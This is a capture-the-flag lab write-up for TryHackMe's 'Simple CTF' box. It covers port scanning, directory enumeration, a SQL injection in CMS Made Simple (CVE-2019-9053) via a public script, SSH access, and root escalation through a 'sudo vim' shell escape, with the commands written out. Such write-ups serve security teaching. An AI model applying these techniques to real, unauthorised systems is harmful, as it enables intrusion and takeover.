01 Mar 2026 / TryHackMe
Simple CTF — The Basics
Beginner-friendly box: nmap scan, FTP anonymous login, CMS exploit, SSH access, and privilege escalation with vim.
On this page
Recon
Start with nmap as always. We find three open ports:
$ nmap -sC -sV <IP>
21/tcp open ftp vsftpd 3.0.3
80/tcp open http Apache 2.4.18
2222/tcp open ssh OpenSSH 7.2p2
FTP allows anonymous login — always worth checking. We find a note, but no direct credentials. The web server on port 80 is more interesting.
Web Enumeration
Running GoBuster reveals /simple — a CMS Made Simple installation. Checking the version, it’s vulnerable to SQL injection (CVE-2019-9053).
$ gobuster dir -u http://<IP> -w common.txt
/simple (Status: 301)
We use a public exploit script to extract credentials from the database, getting a username and a cracked password.
SSH & Privilege Escalation
SSH in on port 2222 with the found credentials. Then check what we can run as root:
mitch@machine:~$ sudo -l
User mitch may run the following commands:
(root) NOPASSWD: /usr/bin/vim
mitch@machine:~$ sudo vim -c ':!bash'
root@machine:~# whoami
root
Vim can spawn a shell — check GTFOBins whenever you have a sudo binary!
→ Takeaway
Always check CMS versions for known CVEs. sudo -l + GTFOBins = easy wins.